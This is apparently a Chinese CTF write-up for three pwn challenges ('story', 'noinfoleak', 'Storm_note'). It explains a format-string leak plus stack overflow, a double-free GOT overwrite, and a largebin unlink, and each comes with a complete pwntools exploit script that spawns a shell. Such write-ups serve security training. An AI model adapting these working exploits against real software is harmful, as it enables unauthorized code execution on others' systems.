西湖论剑CTF — pwn
story
这道题有两个漏洞点,一个是格式化字符串,一个是stack overflow,这两个洞结合基本就成了,攻击思想就是,先用格式化字符串读取canary,然后再利用栈溢出泄露libc最后ret2libc就可以了,下面是漏洞点:
# bug 1
char *add()
{
char *v0; // ST08_8
char s; // [rsp+10h] [rbp-40h]
unsigned __int64 v3; // [rsp+48h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Please Tell Your ID:");
read__((__int64)&s, 0x32uLL);
v0 = strdup(&s);
printf("Hello ", 50LL);
printf(&s); // format bug
putchar(10);
return v0;
}
# bug 2
char *read_story()
{
__int64 v1; // [rsp+0h] [rbp-A0h]
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v3; // [rsp+98h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Tell me the size of your story:");
v1 = read_story_size_ret_strtoll();
if ( v1 < 0 )
v1 = -v1;
if ( v1 > 128 )
v1 = 1024LL; // overflow
puts("You can speak your story:");
read__((__int64)&s, v1);
return strdup(&s);
}
下面是详细的利用脚本:
from pwn import *
import random
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import sys
local = 1
debug = 1
if debug:
context(os = "linux",arch="amd64")#,aslr="False")
#context.log_level = "debug"
else:
pass
if local:
p = process("./story")#,env={'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'})
else:
p = remote("ctf1.linkedbyx.com",10085)
elf = ELF("story")
main = 0x400876
start = 0x0400780
pop_rdi = 0x0000000000400bd3
puts_plt = elf.plt["puts"]
read_got = elf.got["read"]
payload = "AA.%14$p.%15$p.%16$p."
p.sendline(payload)
p.recvuntil(".")
p.recvuntil(".")
data2 = int(p.recvuntil(".",drop=True),16)
data3 = int(p.recvuntil(".",drop=True),16)
print "canary = " + str(hex(data2))
p.recv()
size = "-"+str(0xc1)
p.sendline(size)
p.recv()
payload = "a"*0x80 + p64(0) + p64(data2) + p64(data3)
payload += p64(pop_rdi) + p64(read_got) + p64(puts_plt)+ p64(start)
p.sendline(payload)
data = u64(p.recvn(6).ljust(8,"\x00"))
print("read got = " + str(hex(data)))
libc_base = data - 0x0f7250
system = libc_base + 0x045390
binsh = libc_base + 0x18cd57
print "libc_base = " + str(hex(libc_base))
p.recvuntil("ID:")
payload = "AA.%14$p.%15$p.%16$p."
p.sendline(payload)
p.recvuntil(".")
p.recvuntil(".")
data2 = int(p.recvuntil(".",drop=True),16)
data3 = int(p.recvuntil(".",drop=True),16)
print "canary = " + str(hex(data2))
p.recv()
size = "-"+str(0xb1)
p.sendline(size)
p.recv()
print("system = " + str(hex(system)))
print("binsh = " + str(hex(binsh)))
pause()
payload = "a"*0x80 + p64(0) + p64(data2) + p64(data3) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload)
p.interactive()
noinfoleak
这道题主要是跟题目说的noinfoleak,没有任何返回信息,难点就在这,checksec看一下保护pie没有开,got表也可以写。然后漏洞点主要在delete那里free之后没有把chunk数组指针清零,同时add的时候限制了分配堆块的大小,因此思路大概就确定了,主要是一个UAF利用。首先利用double free在bss段上分配一个大小为0x70的堆块(这里注意要找准偏移,伪造一个相应大小的堆头结构),主要是为了控制list,这样modify就可以直接改某个地址的内容,这样我们就有任意地址写了;然后我们把got表中free改成puts的plt表,这样一来我们free的时候就可以泄露对应libc的地址了(当然要把free那个地方的指针(bss上的list)改成got表地址)。这样我们就有任意地址读,最后再把free的got表改成system就可以getshell了。 下面是详细脚本:
from pwn import *
# context.log_level = 'DEBUG'
p = process('./noinfoleak')#,env={'LD_PRELOAD':'./libc.so.6'})
#p = remote('ctf3.linkedbyx.com',11056)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(size, content):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('>')
p.sendline(str(size))
sleep(0.2)
p.recvuntil('>')
p.send(content)
sleep(0.2)
def modify(idx, content1):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
p.sendline(str(idx))
p.recvuntil('>')
p.send(content1)
def delete(idx):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline(str(idx))
free_got = 0x601018
puts_got = 0x601028
puts_plt = 0x4006B0
malloc_got = 0x601058
free_plt = 0x400690
# 0x6010A0
create(0x60, 'A'*32) # chunk_0
create(0x60, 'B'*32) # chunk_1
pause()
create(0x60, '/bin/sh\x00') # chunk_2
p.sendline('ss')
sleep(0.2)
delete(0)
delete(1)
delete(0)
create(0x60, p64(0x60108d))
# header -> 1 -> 0 -> 0x60108d
create(0x60, 'A'*32) #4
# header -> 0 -> 0x60108d
create(0x60, 'A'*32) #5
# header -> 0x60108d
create(0x60, "A"*3 + p64(free_got) + p64(20) + p64(malloc_got) + p64(0x20)) #9
modify(0,p64(0x4006B0))
delete('1')
p.recvuntil('>')
data = u64(p.recv()[0:6] + '\x00\x00')
libcbase = data - 0x84130
print("libc = " + hex(data))
print("libcbase = " + hex(libcbase))
one_gadget = libcbase + 0xf1147
malloc_hook = libcbase+0x3c4b10
free_hook = libcbase + 0x3c67a8
system = libcbase + 0x45390
print("malloc_hook = " + hex(malloc_hook))
#modify(6,"A"*3 + p64(malloc_hook) + p64(20))
p.sendline('3')
p.recvuntil('>')
p.sendline(str(6))
p.recvuntil('>')
p.send("A"*3 + p64(free_got) + p64(20))
modify(0,p64(system))
#gdb.attach(p,'b *0x00000000004009d9\nb *0x0000000000400a23\nb *0x400a1e\n')
p.sendline('2')
p.recvuntil('>')
p.sendline(str(2))
p.interactive()
Storm_note
跟0ctf的heapstorm2题目一样,直接就是一个largebin的unlink修改0xabcd0100位置的内容,然后“666”后门直接getshell。 这种利用方法在三月刷题记录也有提过。 这种利用方法all in glibc2.23(难怪他给了libc) 脚本:
from pwn import *
context(os='linux',arch='amd64',aslr = 'False')#,log_level='debug')
local = 1
if local:
p = process("./Storm_note")#,env={'LD_PRELOAD':'./libc-2.23.so'})
elf = ELF("./Storm_note")
#libc = ELF('./libc_x64.so.6')
else:
#p = remote('192.168.210.11',11006)
p = remote('chall.pwnable.tw',10001)
elf = ELF("./Storm_note")
#libc = ELF('./libc-2.23.so')
def add(size):
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('?')
p.sendline(str(size))
def edit(idx,mes):
p.recvuntil('Choice')
p.sendline('2')
p.recvuntil('?')
p.sendline(str(idx))
p.recvuntil('Content')
p.send(mes)
def dele(idx):
p.recvuntil('Choice')
p.sendline('3')
p.recvuntil('?')
p.sendline(str(idx))
add(0x18) #0
add(0x508) #1
add(0x18) #2
edit(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size first
add(0x18) #3
add(0x508) #4
add(0x18) #5
edit(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size first
pause()
add(0x18) #6
# first time
dele(1) # delete second
edit(0, 'h'*(0x18)) #off-by-one last
add(0x18) #1 repair it
add(0x4d8) #7 Fill the freed chunk all
dele(1)
dele(2) #backward consolidate
add(0x38) #1
add(0x4e8) #2
# second time
dele(4) # delete second
edit(3, 'h'*(0x18)) #off-by-one last
add(0x18) #4
add(0x4d8) #8
dele(4)
dele(5) #backward consolidate
add(0x48) #4 why 0x48
# get two overlapping chunk7 chunk8
# why did next 3 steps
dele(2)
add(0x4e8) #2
dele(2)
storage = 0xabcd0100
fake_chunk = storage - 0x20
p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk) #bk
edit(7, p1)
p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
edit(8, p2)
add(0x48)
edit(2,p64(0)*8)
p.sendline('666')
p.send('\x00'*0x30)
p.interactive()
比赛感想与总结
感想就是这次比赛在做noinfoleak的时候太急了。然后做延续到最后一题的时候也是很急,这个利用方法明明之前学过了的。就是想不起来,感觉原因在于之前没有注意到largebin unlink这个利用是在glibc2.23中实现的。